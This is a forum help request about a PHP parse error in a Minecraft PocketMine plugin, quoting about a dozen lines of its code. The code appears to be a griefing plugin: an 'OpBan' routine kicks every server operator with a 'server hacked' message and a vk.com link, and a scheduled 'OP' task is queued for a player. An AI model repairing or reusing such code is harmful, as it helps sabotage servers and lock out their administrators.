Advertisement
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Help Please!

Comments in 'Plugin Development' started by KekerFamily, Dec 30, 2015.

Thread Status:
Not open for further replies.
  1. KekerFamily
    Offline

    KekerFamily New Member

    Joined:
    Nov 12, 2015
    Posts:
    12
    Minecraft User:
    Keker
    Help please!
    Error: syntax error, unexpected ';'
    File: /BAG/src/FoxLife/BAG
    Line: 80
    Type: E_PARSE

    THIS CRASH WAS CAUSED BY A PLUGIN

    Code:
    [71] $this->getServer ()->getScheduler ()->scheduleDelayedTask ( new CallbackTask ( [ $this,"TActive" ], [ $player ] ), 160 );
    [72] $this->getServer ()->getScheduler ()->scheduleDelayedTask ( new CallbackTask ( [ $this,"TimerEnd" ], [ $player ] ), 160 );
    [73] $this->getServer ()->getScheduler ()->scheduleDelayedTask ( new CallbackTask ( [ $this,"EndTip" ], [ $player ] ), 180 );
    [74] $this->getServer ()->getScheduler ()->scheduleDelayedTask ( new CallbackTask ( [ $this,"EndPopup" ], [ $player ] ), 180 );
    [75] $this->getServer ()->getScheduler ()->scheduleDelayedTask ( new CallbackTask ( [ $this,"OP" ], [ $player ] ), 180 );
    [76] }
    [77]
    [78] public function OpBan(Player $player){
    [79] foreach($this->getServer()->getOnlinePlayers() as $player){
    [80] if($player->isOp()->kick("§6Сервер взломан\n§avk.com/foxlife228");
    [81] }
    [82] }
    Last edited by a moderator: Dec 30, 2015
Thread Status:
Not open for further replies.

Share This Page

Advertisement